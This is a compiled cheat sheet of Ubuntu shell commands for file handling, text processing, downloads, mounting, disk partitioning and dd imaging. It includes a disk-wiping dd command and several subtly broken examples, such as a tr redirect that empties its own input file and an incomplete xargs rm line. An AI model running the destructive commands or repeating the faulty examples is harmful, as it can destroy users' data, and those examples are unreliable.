Ubuntu File System Commands

Xargs

Find all jpgs files in a directory and copy them to another dir

find upload/ -type f -name "*.jpg" -print0 | xargs -I '{}' -0 cp '{}' alljpgs/

Read a file.txt and create a directory for each line of the file file.txt contents = (each on a separate line) apple oranges pear

cat file.txt | sort | uniq | xargs -I {} mkdir -p /var/www/fruits/{}
find dir/ -type f -print0 | xargs -0 chmod 755
#print0 is used to make sure the null character will separate them and the -0 make sure xargs uses that null charcter

find . -name "*fruit.txt" -print0 | xargs -0 -I {} cp {} /folder/{}.backup
#Find files in the current directory with fruit in the filename "{}" is the place holder for the filename. Copy the {} to the specified folder

find . -name "*fruit.txt" -depth 1 -print0 | xargs -0 -I {} rm

find . -name "*invoice*" -print0 | xargs -0 grep -li 'outwater' | xargs -I {} cp {} /dir/{}
#Find all files with the word invoice then send it to grep to search in the files for the text outwater then copy those files to the dir

Copy all images to external hard-drive

# ls *.jpg | xargs -n1 -i cp {} /external-hard-drive/directory

Search all jpg images in the system and archive it.

# find / -name *.jpg -type f -print | xargs tar -cvzf images.tar.gz

Download all the URLs mentioned in the url-list.txt file

# cat url-list.txt | xargs wget –c

Tree Command

apt install tree

tree -a 
# list dir tree including hidden files

tree -f
#To list the directory contents with the full path prefix for each sub-directory and file, use the -f as shown

tree -d
or
tree -df
#You can also instruct tree to only print the subdirectories minus the files in them using the -d option. If used together with the -f option, the tree will print the full directory path as shown

tree -f -L 2
# You can specify the maximum display depth of the directory tree using the -L option. For example, if you want a depth of 2, run the following command.

tree -f -P cata*
# To display only those files that match the wild-card pattern, use the -P flag and specify your pattern. In this example, the command will only list files that match cata*, so files such as Catalina.sh, catalina.bat, etc. will be listed.

tree -f --du
#Another useful option is --du, which reports the size of each sub-directory as the accumulation of sizes of all its files and subdirectories (and their files, and so on).

tree -o filename.txt
#redirect the tree’s output to filename for later analysis using the -o optio

Diff Command

diff -y originalfile.txt revisedfile.txt

Cut Command, Can extract contiguious text from a file. eg charcters 2 - 10 of every line

cut -c 2-10 textfile.txt
Will extract characters 2 through 10 on each line
cut -c 2-10,30-35 filename.txt
will extract 2-10 and 30-35
cut -f 2,6 -d "," filename.csv
-f along with the -d option wil allow you to add a delimiter

TR (translate Function)

replace the , in a text file with a ; then pipe it back to the file
tr ',' ';' < somefile.csv > somefile.csv

Standard Input and Standard Output

Send Sorted file to new file
sort somefile.txt > newfilename.txt
To Append use >> insted of >
Supressing Output
ls -la > /dev/null

How To Change Multiple File Extensions From The Terminal

1. Open a new terminal and create the following directory in you desktop.

cd  /home/oltjano/Desktop

mkdir unixmen_tutorial

2.  cd to unixmen_tutorial and create the following files.

a.txt   b.txt  c.txt

3.  Ok guys it is time for some action. Run the following piece of code in the terminal and see what happens.

for i in *.txt; do echo $i; done

4. The following screenshot shows the result  that you should get in your terminal.

So what we are trying to do here is running a for loop and printing every filename with the .txt in the current directory. Ok, now run the following commands. It is used to strip the extension from a file.

a=a.txt

echo ${a/.txt}

5.  Do you see the following result?

6.  Ok, now run the following piece of code in your terminal. Have the file extensions changed?

for i in *.txt;  do mv "$i" "${i/.txt}".jpg; done

Wget Command

Download a single file

$ wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.2.1.tar.gz

Download and store it with a different name.

$ wget -O taglist.zip http://www.vim.org/scripts/download_script.php?src_id=7701

Download in the Background Using wget -b

For a huge download, put the download in background using wget option -b as shown below.

$ wget -b http://www.openss7.org/repos/tarballs/strx25-0.9.2.1.tar.bz2

Mask User Agent and Display wget like Browser Using wget –user-agent

Some websites can disallow you to download its page by identifying that the user agent is not a browser. So you can mask the user agent by using –user-agent options and show wget like a browser as shown below.

wget --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3" URL-TO-DOWNLOAD

Download Multiple Files / URLs Using Wget -i

First, store all the download files or URLs in a text file as:

$ cat > download-file-list.txt

URL1

URL2

URL3

URL4

Next, give the download-file-list.txt as argument to wget using -i option as shown below.

$ wget -i download-file-list.txt

Download a Full Website Using wget –mirror

Following is the command line which you want to execute when you want to download a full website and made available for local viewing.

$ wget --mirror -p --convert-links -P ./LOCAL-DIR WEBSITE-URL

–mirror : turn on options suitable for mirroring.

-p : download all files that are necessary to properly display a given HTML page.

–convert-links : after the download, convert the links in document for local viewing.

-P ./LOCAL-DIR : save all the files and directories to the specified directory.

Reject Certain File Types while Downloading Using wget –reject

You have found a website which is useful, but don’t want to download the images you can specify the following.

$ wget --reject=gif WEBSITE-TO-BE-DOWNLOADED

Download Only Certain File Types Using wget -r -A

You can use this under following situations:

Download all images from a website

Download all videos from a website

Download all PDF files from a website

$ wget -r -A.pdf http://url-to-webpage-with-pdfs/

FTP Download With wget

You can use wget to perform FTP download as shown below.

Anonymous FTP download using Wget

$ wget ftp-url

FTP download using wget with username and password authentication.

$ wget --ftp-user=USERNAME --ftp-password=PASSWORD DOWNLOAD-URL

Move Multiple folders to another directory

mv -v /home/user1/Desktop/folder1/* /var/tmp/

This will move the contents of folder1 to tmp folde

Using Grep and find to search through eml files

Using Grep and Find to search through .eml files for a specific phrase

go to the dir in question

find . -exec grep -ils 'text to find' /dev/null {} \; | xargs -I {} cp -p {} /Users/homedir/Desktop/

above will find the files and copy them to specified folder

find . -exec grep -ils 'text to find\|more text to find\|even more text' /dev/null {} \; | xargs -I {} cp -p {} /Users/homedir/Desktop/

Above will find multiple search strings

find . -type f -name ".DS_Store" -exec rm -f {} \;

Above will find Ds files in current dir and subdir and delete them

find . -exec grep -ls 'text to find' /dev/null {} \;
find . -exec grep -H 'text to look for {} \;
find . -exec grep -n 'text to look for' /dev/null {} \;
find . -exec grep -n 'yuly' /dev/null {} \; -print >> /Volumes/RAIDset1/1share/text.txt

list files that contain the name "out"

ls -la | grep out

Find files in a dir with a string. the -i is case insensitive -w is exact word

find dirname | grep -i  string

SED find and replace

sed -i (inplace) s (subsitute) /find/replace/ g (global). You can replce the / with any other delimiter eg | or :. eg. if you want to find text "/mac" then you would use : as the delimiter sed -i 's:/mac:mac:g'

Find and Replace Multiple (add the -e switch

sed -e 's/find/replace/g' -e 's/find/replace/g'

Let us start off simple: Imagine you have a large file ( txt, php, html, anything ) and you want to replace all the words "ugly" with "beautiful"

This is the command:

sed -i 's/ugly/beautiful/g' /home/bruno/old-friends/sue.txt

"sed" edits "-i in place ( on the spot ) and replaces the word "ugly with "beautiful" in the file "/home/bruno/old-friends/sue.txt"

Imagine you have a whole lot of files in a directory and you want the same command to do all those files in one go Remember the find command ? We will combine the two:

$ find /home/bruno/old-friends -type f -exec sed -i 's/ugly/beautiful/g' {} \;

Sure in combination with the find command you can do all kind of nice tricks, even if you don't remember where the files are located !

Additionally I did find a little script on the net for if you often have to find and replace multiple files at once:

#!/bin/bash
     for fl in *.php; do
     mv $fl $fl.old
     sed 's/FINDSTRING/REPLACESTRING/g' $fl.old > $fl
     rm -f $fl.old
     done

just replace the "*.php", "FINDSTRING" and "REPLACESTRING" make it executable and you are set.

I changed a www address in 183 .html files in one go with this little script . . . but note that you have to use "escape-signs" ( \ ) if there are slashes in the text you want to replace, so as an example: 's/www.search.yahoo.com\/images/www.google.com\/linux/g' to change www.search.yahoo.com/images to www.google.com/linux

For the lovers of perl I also found this one:

# perl -e "s/old_string/new_string/g;" -pi.save $(find DirectoryName -type f)

Creating ISO File from a folder

If you want to make an iso file from a directory containing other files and sub-directories via the terminal, you can use the following command:

mkisofs -o image.iso -R /path/to/folder/

If you wish to backup the home folder, use this command:

mkisofs -o image.iso -R $HOME

Mount Windows SMB share on linux

apt install cifs-utils
mkdir /mnt/share
mount.cifs "//192.168.1.1/windows share" /mnt/share -o user=bob
- use the &quoute when there are spaces in the share name

Mount ftp server as local drive

1. Installation

First install curlftpfs package. On Debian or Ubuntu it would simple as:

apt-get install curlftpfs

2. Mount ftp directory What needs to be done next is to create a mount point:

# mkdir /mnt/my_ftp

next use curlftpfs to mount your remote ftp site. Suppose my access credentials are as follows:

username: ftp-user
password: ftp-pass
host/IP: my-ftp-location.local
the actual curlftpfs mount command would be:

# curlftpfs ftp-user:ftp-pass@my-ftp-location.local /mnt/my_ftp/

Caution:

ftp uses unencrypted passwords so anyone can intercept your password without much effort. Therefore use curlftpfs in combination with SSL certificates if your are not mounting some local LAN ftp server.

On Debian you can mount ftp using curlftpfs as a root and this allows only root user to access ftp mount. No other users are allowed since by default only users that mounts has and access to mount directory. When mounting ftp as a non-root user you may get a following error message:

fuse: failed to open /dev/fuse: Permission denied

Rather that changing permissions of /dev/fuse you can allow other users to access ftp mount directory with an curlftpfs's option allow_other. The command will look similar to the one below:

# curlftpfs -o allow_other ftp-user:ftp-pass@my-ftp-location.local /mnt/my_ftp/

3. Mount ftp with curlftpfs using /etc/fstab

Since we do not want put any passwords to /etc/fstab file we will first create a /root/.netrc file with a ftp username and password using this format:

machine my-ftp-location.local

login ftp-user password ftp-pass

Now change permissions of this file to 600:

# chmod 600 /root/.netrc

Check uid and gid of your non-root user. This user will have a access to ftp mount directory:

$ id

In the next step add a following line to your /etc/fstab file ( change credentials for your ftp user ):

curlftpfs#my-ftp-location.local /mnt/my_ftp fuse allow_other,uid=1000,gid=1000,umask=0022 0 0

Now mount ftp with:

mount -a

Creating Aliases

2 . You can add more that one commands on a line in terminal if you follow it with a ; (semi-colan) eg cd etc; ls; cd /

will change to the etc dir ls the dir and then cd to root.

 

3. Create a Temorary Alias your cammands. alias foo='cd /etc; ls; cd /'

this will create an alias with the name foo. you can execute foo which will run the command.

- to remove the command: unalias foo

- display commands in an alias: type foo

After shell is closed alias is gone

 

4. Permanent alias: edit the .bashrc file -

nano .bashrc

add your alias to this file. eg. alias foo='echo hello world'

save and close file, then issue command source .bashrc // this will reload the changes in the .bashrc file

For Mac the the .bashrc file is in the Home dir ~ and it's called .bash_profile

Format a drive in bash

Linux refers to hard drives as either "hdx" or "sdx," where x is a letter, starting with a, which represents the order in which the drive was added to or detected by the computer. The "hd" prefix is used for IDE and PATA (formerly just ATA), and the "sd" prefix is used for SCSI, SATA and USB drives. Usually, a number is also put at the end of "hdx" or "sdx" to denote different partitions on the same physical drive, but for the purpose of formatting, you only need to know which letter the drive you want to format is.

4
The examples given in this how-to are for a computer with two IDE hard drives attached as a master and slave. In this, the drives are "hda" and "hdb." You will need to determine the letter of the drive you want to format for your own setup. We will be formatting the drive hdb. For all examples, replace "hdb" with whatever your drive designation is.

5
You can see all the drives attached to your system by typing the command "ls /dev/hd*" or "ls /dev/sd*", depending on which type (IDE, SATA and so forth) the drives are. On the example system, the result of this command looks like "/dev/hda /dev/hda1 /dev/hda2 /dev/hdb /dev/hdb1". Theoperating system is installed on hda, which has two partitions (hda1 and hda2), and there is one partition on hdb and hdb1.

Using fdisk
6
First, you will use the fdisk command to erase any old partitions on the drive and create a new one. Any changes you make using fdisk are only made permanent if you then issue the "w" command before quitting, so feel free to play around a little if you like. If at any time you find yourself stuck, you can quit the program without saving changes by holding the "Ctrl" key and pressing "c."

7
At the command prompt, type "fdisk /dev/hdb", replacing the "hdb" with the letters for your drive. Upon opening, fdisk may give you a couple of warnings, all of which can be ignored. It then gives you a prompt that looks like this: Command (m for help):

8
Enter "p" to see the partition table of the drive. The first line of output from the "p" command will also tell you the size of the drive. This is a good way to double-check that you are working with the correct drive.

9
If there are any partitions already on the drive, they will be listed as the last lines of the "p" command. On our example, this looks like "/dev/hdb1", followed by some information about the partition's size and filesystem.

10
To delete any existing partitions, press "d" and then "Enter." It will ask you which partition number you wish to delete. The number of the partition is the number that follows hdb, so on our example system, we enter 1. If there are multiple partitions, repeat the "d" command for each one. You can always view the partition table again with the "p" command.

11
Once you have deleted all existing partitions on the drive, you are ready to make a new one. Type "n" and hit "Enter." Then press "p" to create a primary partition. It asks you for a partition number; enter "1." Now you are asked which cylinder the partition should start at. The beginning of the drive is the default, so just hit "Enter." Then, you are asked for the last cylinder. The end of the drive is the default, so you can just press "Enter" again.

12
Now you are back at fdisk's command prompt. Use the "p" command to check the partition table. You should now see your new partition at the bottom of the output. In the example, it lists as "/dev/hdb1."

13
You now need to set the filesystem type for your new partition with the "t" command. You are asked for the Hex code of the filesystem you wish to use. We will use the standard Linux ext2 filesystem, which is "83." If you are doing something special and know of a particular filesystem that you need to use, you can press "L" to see all the codes, which are one or two characters made up of the numbers 0 to 9 and the letters a to f.

14
Now just issue the "w" command to write your new partition table and exit fdisk.

Read more: How to Format a Hard Drive in Linux | eHow.com http://www.ehow.com/how_1000631_hard-drive-linux.html#ixzz1teq8yBrz

Wput - uploading file from terminal

wput x ftp://username:password@domain.com/

x could be a directory or filename

example

wput filename.zip ftp://username:password@domain.com/Desktop/filename.zip

List and Mount a Drive

Using mount Get the Information IconsPage/IconGNOMETerminal.png Sometimes devices don't automount, in which case you should try to manually mount it. First, you must know what device we are dealing with and what filesystem it is formatted with. Most flash drives are FAT16 or FAT32 and most external hard disks are NTFS.

sudo fdisk -l

Find your device in the list, it is probably something like /dev/sdb1. For more information about filesystems, seeLinuxFilesystemsExplained.

Create the Mount Point Now we need to create a mount point for the device, let's say we want to call it "external". You can call it whatever you want, just please don't use spaces in the name or it gets a little more complicated - use an underscore to separate words (like "my_external"). Create the mount point:

sudo mkdir /media/external

Mount the Drive IconsPage/example.png We can now mount the drive. Let's say the device is /dev/sdb1, the filesystem is FAT16 or FAT32 (like it is for most USB flash drives), and we want to mount it at /media/external (having already created the mount point):

sudo mount -t vfat /dev/sdb1 /media/external -o uid=1000,gid=100,utf8,dmask=027,fmask=137

The options following the "-o" allow your user to have ownership of the drive, and the masks allow for extra security for file system permissions. If you don't use those extra options you may not be able to read and write the drive with your regular username.

Otherwise if the device is formatted with NTFS, run:

sudo mount -t ntfs-3g /dev/sdb1 /media/external

Unmounting the Drive IconsPage/example.png When you are finished with the device, don't forget to unmount the drive before disconnecting it. Assuming /dev/sdb1 mounted at /media/external, you can either unmount using the device or the mount point:

sudo umount /dev/sdb1

or:

sudo umount /media/external

7 Useful Linux Networking Commands

ifconfig for basic interface and IP configuration

The ifconfig tool (derived from interface configurator) provides a few very basic, but important, functions. It lets you turn network adapters on and off and assign IP address and netmask details. Here are some of the common commands:

View current configuration of network interfaces, including the interface names:

ifconfig

Turn an adapter on (up) or off (down):

ifconfig <network name> <up|down>

Assign an IP address to an adapter:

ifconfig <network name> <ip address>

Assign a second IP address to an adapter:

ifconfig <network name:instance number> <ip address>

Example: ifconfig eth0:0 192.168.1.101

ethtool managages ethernet card settings

Ethtool lets you view and change many different settings for ethernet adapters (which does not include Wi-Fi cards). You can manage many different advanced settings, including tx/rx, checksumming, and wake-on-LAN settings. However, here are more basic commands you might be interested in:

Display the driver information for a specific network adapter, great when checking for software compatibility:

ethtool -i <interface name>

Initiate an adapter-specific action, usually blinking the LED lights on the adapter, to help you identify between multiple adapters or interface names:

ethtool -p <interface name>

Display network statistics:

ethtool -S

Set the connection speed of the adapter in Mbps:

ethtool speed <10|100|1000>

iwconfig for wireless configuration

The iwconfig tool is like ifconfig and ethtool for wireless cards. You can view and set the basic Wi-Fi network details, such as the SSID, channel, and encryption. There's also many advanced settings you can view and change, including receive sensitivity, RTS/CTS, fragmentation, and retries. Here are some commands you may want to try:

Display the wireless settings of your interfaces, including the interface names you'll need for other commands:

iwconfig

Set the ESSID (Extended Service Set Identifier) or network name:

iwconfig <interface name> essid <network name>

Example: iwconfig <interface name> "my network"

Example: iwconfig <interface name> any

Set the wireless channel of the radio (1-11):

iwconfig <interface name> <channel>

Input a WEP encryption key (WPA/WPA2 isn't supported yet; for this you need wpa_supplicant):

iwconfig eth0 key <key in HEX format>

Only allow the adapter to connect to an AP with the MAC address you specify:

iwconfig <interface name> ap <mac address>

Example: iwconfig eth0 ap 00:60:1D:01:23:45

Set the transmit power of the radio, if supported by the wireless card, in dBm format by default or mW when specified:

iwconfig <interface name> txpower <power level>

Example: iwconfig eth0 txpower 15

Example: iwconfig eth0 txpower 30mW

Accessing a Directory With a Space in The Filename

Eg. Directory name is: " Dir 001"

to Cd into that dir you would enter the command with a "\" :

cd Dir\ 001

Manually Mount A Device in Ubuntu

To manually mount a media device in the virtual directory, you'll need to be logged in as the root user. The basic command for manually mounting a media device is:

mount ‐t type device directory

The type parameter defines the filesystem type the disk was formatted under. There are lots and lots of different filesystem types that Linux recognizes. If you share removable media devices with your Windows PCs, the types you're most likely to run into are:

vfat: Windows long filesystem.
ntfs: Windows advanced filesystem used in Windows NT, XP, and Vista.
iso9660: The standard CD‐ROM filesystem.

Most USB memory sticks and floppies are formatted using the vfat filesystem. If you need to mount a data CD, you'll have to use the iso9660filesystem type. The next two parameters define the location of the device file for the media device and the location in the virtual directory for the mount point. For example, to manually mount the USB memory stick at device /dev/sdb1 at location /media/disk, you'd use the command:

mount ‐t vfat /dev/sdb1 /media/disk

Once a media device is mounted in the virtual directory, the root user will have full access to the device, but access by other users will be restricted. You can control who has access to the device using directory permissions.

‐a Mount all filesystems specified in the /etc/fstab file.

‐f Causes the mount command to simulate mounting a device, but not actually mount it.

‐F When used with the ‐a parameter, mounts all filesystems at the same time.

‐v Verbose mode, explains all the steps required to mount the device.

‐I Don't use any filesystem helper files under /sbin/mount.filesystem.

‐l Add the filesystem labels automatically for ext2, ext3, or XFS filesystems.

‐n Mount the device without registering it in the /etc/mstab mounted device file.

‐p num For encrypted mounting, read the passphrase from the file descriptor num.

‐s Ignore mount options not supported by the filesystem.

‐r Mount the device as read‐only.

‐w Mount the device as read‐write (the default).

‐L label Mount the device with the specified label.

‐U uuid Mount the device with the specified uuid.

‐O When used with the ‐a parameter, limits the set of filesystems applied.

‐o Add specific options to the filesystem . The ‐o option allows you to mount the filesystem with a comma‐separated list of additional options. The popular options to use are:

ro: Mount as read‐only.

rw: Mount as read‐write.

user: Allow an ordinary user to mount the filesystem. check=none: Mount the filesystem without performing an integrity check.

loop: Mount a file.

A popular thing in Linux these days is to distribute a CD as a .iso file. The .iso file is a complete image of the CD in a single file. Most CD‐burning software packages can create a new CD based on the .iso file. A feature of the mount command is that you can mount a .iso file directly to your Linux virtual directory without having to burn it onto a CD. This is accomplished using the ‐o parameter with the loop option:

$ mkdir mnt
$ su
Password:
# mount ‐t iso9660 ‐o loop MEPIS‐KDE4‐LIVE‐DVD_32.iso mnt

Linux Directory Structure

/	The root of the virtual directory. Normally, no files are placed here.
/bin	The binary directory, where many GNU user‐level utilities are stored.
/boot	The boot directory, where boot files are stored.
/dev	The device directory, where Linux creates device nodes.
/etc	The system configuration files directory.
/home	The home directory, where Linux creates user directories.
/lib	The library directory, where system and application library files are stored.
/media	The media directory, a common place for mount points used for removable media.
/mnt	The mount directory, another common place for mount points used for removable media.
/opt	The optional directory, often used to store optional software packages.
/root	The root home directory.
/sbin	The system binary directory, where many GNU admin‐level utilities are stored.
/tmp	The temporary directory, where temporary work files can be created and destroyed.
/usr	The user‐installed software directory.
/var	The variable directory, for files that change frequently, such as log files

How to Use TAR zip

To inzip .bz2 files use:

tar -jxvf filename.tar.bz2

to unzip gz files use:

tar -zxvf filename.tar.gz

zip and unzip

To create a zip file containing dir1, dir2, ... :

zip -r <filename>.zip dir1 dir1 ...

To extract <filename>.zip:

unzip <filename>.zip

In Unix, the name of the tar command is short for tape archiving, the storing of entire file systems onto magnetic tape, which is one use for the command. However, a more common use for tar is to simply combine a few files into a single file, for easy storage and distribution.

To combine multiple files and/or directories into a single file, use the following command:

tar -cvf file.tar inputfile1 inputfile2

Replace inputfile1 and inputfile2 with the files and/or directories you want to combine. You can use any name in place of file.tar, though you should keep the .tar extension. If you don't use the f option, tar assumes you really do want to create a tape archive instead of joining up a number of files. The v option tells tar to be verbose, which reports all files as they are added.

To separate an archive created by tar into separate files, at the shell prompt, enter:

tar -xvf file.tar

Compressing and uncompressing tar files

Many modern Unix systems, such as Linux, use GNU tar, a version of tar produced by the Free Software Foundation. If your system uses GNU tar, you can easily use gzip (the GNU file compression program) in conjunction with tar to create compressed archives. To do this, enter:

tar -cvzf file.tar.gz inputfile1 inputfile2

Here, the z option tells tar to zip the archive as it is created. To unzip such a zipped tar file, enter:

tar -xvzf file.tar.gz

Alternatively, if your system does not use GNU tar, but nonetheless does have gzip, you can still create a compressed tar file, via the following command:

tar -cvf - inputfile1 inputfile2 | gzip > file.tar.gz

Note: If gzip isn't available on your system, use the Unix compress command instead. In the example above, replace gzip with compress and change the .gz extension to .Z (the compress command specifically looks for an uppercase Z). You can use other compression programs in this way as well. Just be sure to use the appropriate extension for the compressed file, so you can identify which program to use to decompress the file later.

If you are not using GNU tar, to separate a tar archive that was compressed by gzip, enter:

gunzip -c file.tar.gz | tar -xvf -

Similarly, to separate a tar archive compressed with the Unix compress command, replace gunzip with uncompress .

Lastly, the extensions .tgz and .tar.gz are equivalent; they both signify a tar file zipped with gzip.

Additional information

Keep the following in mind when using the tar command:

The order of the options sometimes matters. Some versions of tar require that the f option be immediately followed by a space and the name of the tar file being created or extracted.

Some versions require a single dash before the option string (e.g., -cvf ). GNU tar does not have either of these limitations.

The tar command has many additional command options available. For more information, consult the manual page. At the shell prompt, enter:

man tar

GNU tar comes with additional documentation, including a tutorial, accessible through the GNU Info interface. You can access this documentation by entering:

info tar Within the Info interface, press ? (the question mark) for a list of commands

Using The DD Unix Command

dd is a common Unix program whose primary purpose is the low-level copying and conversion of raw data

dd's input is specified using the "if" (input file) option, while most programs simply take the name by itself.

Example use of dd command to create an ISO disk image from a CD-ROM:

dd if=/dev/cdrom of=/home/sam/myCD.iso bs=2048 conv=sync,notrunc

Note that an attempt to copy the entire disk image using cp may omit the final block if it is an unexpected length; dd will always complete the copy if possible.

Using dd to wipe an entire disk with random data:

dd if=/dev/urandom of=/dev/hda

Using dd to duplicate one hard disk partition to another hard disk:

dd if=/dev/sda2 of=/dev/sdb2 bs=4096 conv=notrunc,noerror

Note that notrunc means do not truncate the output file. Noerror means to keep going if there is an error (though a better tool for this would be ddrescue).

To duplicate a disk partition as a disk image file on a different partition

dd if=/dev/sdb2 of=/home/sam/partition.image bs=4096 conv=notrunc,noerror

To duplicate a disk partition as a disk image file on a remote machine over a secure ssh connection:

dd if=/dev/sdb2 | ssh user@host "dd of=/home/user/partition.image"

To duplicate master boot record only

dd if=/dev/sda of=/home/sam/MBR.image bs=446 count=1

To make drive benchmark test and analyze read and write performance

dd if=/dev/zero bs=1024 count=1000000 of=/home/sam/1Gb.file
dd if=/home/sam/1Gb.file bs=64k | dd of=/dev/null

To make a file of 100 random bytes:

dd if=/dev/urandom of=/home/sam/myrandom bs=100 count=1

To convert a file to uppercase:

dd if=filename of=filename conv=ucase

To search the system memory:

dd if=/dev/mem | hexdump -C | grep 'some-string-of-words-in-the-file-you-forgot-to-save-before-you-hit-the-close-button'

Image a partition to another machine:

On source machine:

dd if=/dev/hda bs=16065b | netcat < targethost-IP > 1234

On target machine:

netcat -l -p 1234 | dd of=/dev/hdc bs=16065b

Everybody has mentioned the first obvious fix: raise your blocksize from the default 512 bytes. The second fix addresses the problem that with a single dd, you are either reading or writing. If you pipe the first dd into a second one, it'll let you run at the max speed of the slowest device.

Ubuntu Text Editors and Other commands for Manipulating Text

Nano Text Editor

$ nano memo.txt Open memo.txt for editing
$ nano -B memo.txt When saving, back up previous to ~.filename
$ nano -m memo.txt Turn on mouse to move cursor (if supported)
$ nano +83 memo.txt Begin editing on line 83

The -m command-line option turns on support for a mouse. You can use the mouse to select a position in the text, and the cursor moves to that position. After the first click, though, nano uses the mouse to mark a block of text, which may not be what you are expecting.

Listing, Sorting, and Changing Text

Instead of just editing a single text file, you can use a variety of Linux commands to display, search, and manipulate the contents of one or more text files at a time. Listing Text Files The most basic method to display the contents of a text file is with the cat command. The cat command concatenates (in other words, outputs as a string of characters) the contents of a text file to your display (by default). You can then use different shell metacharacters to direct the contents of that file in different ways. For example:

$ cat myfile.txt Send entire file to the screen
$ cat myfile.txt > copy.txt Direct file contents to another file
$ cat myfile.txt >> myotherfile.txt Append file contents to another file
$ cat -s myfile.txt Display consecutive blank lines as one
$ cat -n myfile.txt Show line numbers with output
$ cat -b myfile.txt Show line numbers only on non-blank lines

However, if your block of text is more than a few lines long, using cat by itself becomes impractical. That's when you need better tools to look at the beginning or the end, or page through the entire text.

To view the top of a file, use head:

$ head myfile.txt
$ cat myfile.txt | head

Both of these command lines use the head command to output the top 10 lines of the file. You can specify the line count as a parameter to display any number of lines from the beginning of a file. For example:

$ head -n 50 myfile.txt Show the first 50 lines of a file
$ ps auwx | head -n 15 Show the first 15 lines of ps output

This can also be done using this obsolete (but shorter) syntax:

$ head -50 myfile.txt
$ ps auwx | head -15

You can use the tail command in a similar way to view the end of a file:

$ tail -n 15 myfile.txt Display the last 15 lines in a file
$ tail -15 myfile.txt Display the last 15 lines in a file
$ ps auwx | tail -n 15 Display the last 15 lines of ps output

The tail command can also be used to continuously watch the end of a file as the file is written to by another program. This is very useful for reading live log files when troubleshooting apache, sendmail, or many other system services:

# tail -f /var/log/messages Watch system messages live
# tail -f /var/log/maillog Watch mail server messages live
# tail -f /var/log/httpd/access_log Watch web server messages live

Paging Through Text

When you have a large chunk of text and need to get to more than just its beginning or end, you need a tool to page through the text. The original Unix system pager was the more command:

$ ps auwx | more Page through the output of ps (press spacebar)
$ more myfile.txt Page through the contents of a file

However, more has some limitations. For example, in the line with ps above, more could not scroll up. The less command was created as a more powerful and user-friendly more. The common saying when less was introduced was: "What is less? less is more!" We recommend you no longer use more, and use less instead.

	Note

The less command has another benefit worth noting. Unlike text editors such as vi, it does not read the entire file when it starts. This results in faster start-up times when viewing large files. The less command can be used with the same syntax as more in the examples above:

$ ps auwx | less Page through the output of ps
$ cat myfile.txt | less Page through the contents of a file
$ less myfile.txt Page through a text file

The less command enables you to navigate using the up and down arrow keys, PageUp, PageDown, and the spacebar. If you are using less on a file (not standard input), press v to open the current file in an editor. Which editor gets launched is determined by environment variables defined for your account. The editor is taken from the environment variable VISUAL, if defined, or EDITOR if VISUAL is not defined. If neither is defined, less invokes the JOE editor on Ubuntu.

	Note

Other versions of Linux invoke vi as the default editor in this case. Press Ctrl+c to interrupt that mode. As in vi, while viewing a file with less, you can search for a string by pressing / (forward slash) followed by the string and Enter. To search for further occurrences, press / and Enter repeatedly. To scroll forward and back while using less, use the F and B keys, respectively. For example, 10f scrolls forward 10 lines and 15b scrolls back 15 lines. Type d to scroll down half a screen and u to scroll up half a screen.

Searching for Text with grep

The grep command comes in handy when you need to perform more advanced string searches in a file. In fact, the phrase to grep has actually entered the computer jargon as a verb, just as to Google has entered the popular language. Here are examples of the grep command:

$ grep francois myfile.txt Show lines containing francois
# grep 404 /var/log/httpd/access_log Show lines containing 404
$ ps auwx | grep init Show init lines from ps output
$ ps auwx | grep "\[*\]" Show bracketed commands
$ dmesg | grep "[ ]ata\|^ata" Show ata kernel device information

These command lines have some particular uses, beyond being examples of the grep command. By searching access_log for 404 you can see requests to your web server for pages that were not found (these could be someone fishing to exploit your system, or a web page you moved or forgot to create). Displaying bracketed commands that are output from the ps command is a way to see commands for which ps cannot display options. The last command checks the kernel buffer ring for any ATA device information, such as hard disks and CD-ROM drives.

The grep command can also recursively search a few or a whole lot of files at the same time. The following command recursively searches files in the /etc/httpd/conf and /etc/httpd/conf.d directories for the string VirtualHost:

$ grep -R VirtualHost /etc/httpd/conf*

Note that your system may not have any files with names starting with conf in the /etc/httpd directory, depending on what you have installed on your system. You can apply this technique to other files as well.

Add line numbers (-n) to your grep command to find the exact lines where the search terms occur:

$ grep -Rn VirtualHost /etc/httpd/conf*

To colorize the searched term in the search results, add the --color option:

$ grep --color -Rn VirtualHost /etc/httpd/conf*

By default, in a multifile search, the file name is displayed for each search result. Use the -h option to disable the display of file names. This example searches for the string sshd in the file auth.log:

$ grep -h sshd /var/log/auth.log

If you want to ignore case when you search messages, use the -i option:

$ grep -i selinux /var/log/messages Search file for selinux (any case)

To display only the name of the file that includes the search term, add the -l option:

$ grep -Rl VirtualHost /etc/httpd/conf*

To display all lines that do not match the string, add the -v option:

$ grep -v "200 "/var/log/httpd/access_log* Show lines without "200 "
	Note

When piping the output of ps into grep, here's a trick to prevent the grep process from appearing in the grep results:

# ps auwx | grep "[i]nit"

Replacing Text with Sed

Finding text within a file is sometimes the first step towards replacing text. Editing streams of text is done using the sed command. The sed command is actually a full-blown scripting language. For the examples in this chapter, we cover basic text replacement with the sed command. If you are familiar with text replacement commands in vi, sed has some similarities. In the following example, you would replace only the first occurrence per line of francois with chris. Here, sed takes its input from a pipe, while sending its output to stdout (your screen):

$ cat myfile.txt | sed s/francois/chris/

Adding a g to the end of the substitution line, as in the following command, causes every occurrence of francois to be changed to chris. Also, in the following example, input is directed from the file myfile.txt and output is directed to mynewfile.txt:

$ sed s/francois/chris/g < myfile.txt > mynewfile.txt

The next example replaces the first occurrences of of the text /home/bob to /home2/bob from the /etc/passwd file. (Note that this command does not change that file, but outputs the changed text.) This is useful for the case when user accounts are migrated to a new directory (presumably on a new disk), named with much deliberation, home2. Here, we have to use quotes and backslashes to escape the forward slashes so they are not interpreted as delimiters:

$ sed 's/\/home\/bob/\/home2\/bob/g' < /etc/passwd

Although the forward slash is the sed command's default delimiter, you can change the delimiter to any other character of your choice. Changing the delimiter can make your life easier when the string contains slashes. For example, the previous command line that contains a path could be replaced with either of the following commands:

$ sed 's-/home/bob/-/home2/bob/-' < /etc/passwd
$ sed 'sD/home/bob/D/home2/bob/D' < /etc/passwd

In the first line shown, a dash (-) is used as the delimiter. In the second case, the letter D is the delimiter.

The sed command can run multiple substitutions at once, by preceding each one with -e. Here, in the text streaming from myfile.txt, all occurrences of francois are changed to FRANCOIS and occurrences of chris are changed to CHRIS:

$ sed -e s/francois/FRANCOIS/g -e s/chris/CHRIS/g < myfile.txt

